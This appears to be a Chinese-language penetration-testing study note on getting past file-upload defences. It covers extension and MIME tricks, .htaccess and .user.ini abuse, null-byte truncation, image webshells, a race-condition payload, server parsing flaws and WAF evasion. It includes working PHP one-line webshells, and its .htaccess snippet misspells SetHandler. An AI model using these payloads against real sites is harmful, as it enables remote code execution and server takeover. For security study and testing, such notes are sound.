web安全-文件上传
前端检测
查看网络,被拦截时是否发包,若有前端检测,可以进行抓包改包绕过或者禁用js上传
MIME类型检测
修改请求包中的Content-Type,改为图片的类型image/jpeg、image/png、image/gif等是否能通过
黑名单绕过
后缀名绕过
尝试.phtml、.pht、.php3、.php4、.php5等后缀
变种木马(.phtml、.pht文件)
.phtml、.pht文件可以这样写
短标签:
<?=@eval($_POST['shell']);?>
HTML标签形式:
<script language="php"> eval($_POST['shell']);echo phpinfo();</script>
.htaccess文件
上传后,所在目录中名字包含png的文件将被当作php代码解析。(只支持apache服务器)
1 | <FilesMatch "png"> setHander application/x-httpd-php </FilesMatch> |
.user.ini文件
条件:
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
文件内容:auto_prepend_file = shell.jpg
意思是:所有的php文件都自动包含shell.jpg文件
那么我们传入一个一句话木马并改后缀为jpg的文件,就可以通过.user.ini文件,利用后台存在的php文件使这个.jpg的shell文件直接执行
双写绕过
对于后台替换一次后缀名可以构造.phphpp
后缀,替换为空后为.php
大小写绕过
对于后台缺少转换统一大小写的功能,可以对后缀名大小写绕过,例如:.pHP
特性利用绕过
利用windows文件系统特性,文件后缀添加
.
,例如.php.
。(目的是后缀名后多加点后可以绕过后台检测,而windows特性会将文件后缀不合法字符清除),同理加空格
也可以
若不通过,可能利用了str_ireplace()进行了去除,添加. .
- 利用%00或0x00截断(windows系统本质是c语言编写,解析遇到%00,即空字符,会直接忽略之后内容)save_path,例如修改数据包第一行为:
GET index.php?save_path=../upload/shell.php%00 HTTP/1.1
并且将filename改为filename="shell.jpg"
(绕过后台检测),而截断是为了去掉系统生成的路径防止路径出错 - 而在POST请求提交路径值,需要在数据包中直接修改成空字符的Hex值,例如
../upload/shell.php+
,其中利用+
占位,然后在burpsuite中将占位符的Hex值修改为00(空字符)
3.利用文件系统的漏洞,在文件后缀最后添加::$DATA
当做数据流(一般windows可用),如果有str_ireplace进行了去除,那么添加::$DA::$DATATA
(双写)
白名单绕过
图片马绕过
生成图片马:
在路径下准备好
一句话木马.php
和一张图片.png
(或者 .jpg )输入系统指令:
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png
之后利用文件包含漏洞,使其以php解析图片马生效
二次渲染绕过
若网站对图片等进行二次渲染,那么可以上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话木马,上传带有PHP一句话木马的GIF图片(即不会被此后台渲染的图片马)
之后可再通过文件包含等方法利用此图片马
注意:二次渲染不会渲染已经被渲染过的文件,我们可以将第一次渲染后的图片写入一句话木马再进行上传就不会被渲染
文件条件竞争
若后台删除我们上传的非法文件或修改后缀名,则可以上传这样的php文件:
1 | fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>'); |
访问到后能在目录下写入一句话木马文件shell.php,之后我们连接写入后的文件shell.php就好了
而关键在于需要在删除前访问到这个非法文件,可以利用bp的intruder模块多线程发包,同时用bp不停访问或者写脚本实现这个功能
文件头绕过
常见文件头:
GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46
注:上面的文件头的格式是16进制的格式
在进行文件头绕过
时,我们可以把上面的文件头
添加到我们的一句话木马的16进制文件
最前面,达到绕过文件头检测的目的。
小trick:可以在写一句话木马时,在文件内容的最前面
写入同样的字符占位,之后便于在16进制编辑器中修改为文件头
服务器解析漏洞利用
apache解析漏洞
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
比如test.php.a.b的.a
和.b
这两种后缀是apache不可识别解析,apache就会把test.php.a.b解析成test.php。
IIS6.0解析漏洞
IIS6.0解析漏洞分两种:
目录解析:以
xx.asp
命名的文件夹里的文件都将会被当成ASP文件
执行。文件解析:
xx.asp;.jpg
像这种畸形文件名在;后面的直接被忽略,也就是说当成xx.asp
文件执行。
IIS6.0默认的可执行文件除了asp
还包含这三种.asa .cer .cdx
。
IIS7.0 | IIS7.5 | Nginx解析漏洞
Nginx拿到文件路径(更专业的说法是URI)/test.jpg/test.php
后,一看后缀是.php
,便认为该文件是php文件
,转交给php去处理。php一看/test.jpg/test.php
不存在,便删去最后的/test.php
,又看/test.jpg
存在,便把/test.jpg
当成要执行的文件
了,又因为后缀为.jpg
,php认为这不是php文件,于是返回Access denied
。
这其中涉及到php的一个选项:cgi.fix_pathinfo,该值默认为1,表示开启。开启这一选项PHP可以对文件路径进行修理。
举个例子: 当php遇到文件路径/1.jpg/2.txt/3.php
时,若/1.jpg/2.txt/3.php
不存在,则会去掉最后的/3.php
,然后判断/1.jpg/2.txt
是否存在,若存在,则把/1.jpg/2.txt
当做文件/1.jpg/2.txt/3.php
,若/1.jpg/2.txt
仍不存在,则继续去掉/2.txt
,以此类推。
另外两种解析漏洞:www.xxxxx.com/UploadFiles/image/1.jpg%00.php www.xxxxx.com/UploadFiles/image/1.jpg/%20\0.php
绕waf
有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。
另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。